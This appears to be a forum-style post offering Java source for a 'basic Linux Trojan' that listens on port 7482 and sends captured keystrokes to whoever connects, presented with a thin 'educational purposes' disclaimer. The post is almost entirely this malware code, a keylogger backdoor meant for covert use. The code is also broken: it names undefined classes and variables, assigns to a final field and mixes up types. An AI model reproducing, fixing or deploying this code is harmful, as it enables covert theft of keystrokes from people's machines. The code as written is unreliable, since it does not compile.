Basic linux Trojan

This is a basic Trojan virus for linux that runs on port 7482.

Note:

I take no responsibility for the use of this code as it's only meant for educational purposes. If you get bursted you are on your own.

import java.io.*;

import java.net.*;

import java.util.*;

public class Blind_trojan

{

private ServerSocket sock;

public static final String keyClick = "";

public static final int PORT = 7482; // Torjan port

public static void main(String args[]) throws IOException

{

TCPSimpleServer server = new TCPSimpleServer();

server.run();

}

public static void run()

{

Socket soc = null;

sock = new ServerSocket(PORT);

while(true)

{

soc = sock.accept();

OutputStream os = soc.getOutputStream();

OutputStreamWriter osw = new OutputStreamWriter(os,"8859_1");

BufferedWriter bw = new BufferedWriter(osw);

keyClick = keyBoard();

if(keyClick != "")

{

bw.write(keyClick);

keyClick = "";

}

}

bw.close();

soc.close();

}

private static String keyBoard()

{

int keyCode = evt.getKeyCode();

int modifiers = evt.getModifiers();

if (evt.isControlDown())

return " + CTRL + ";

else

return modifiers;

}

}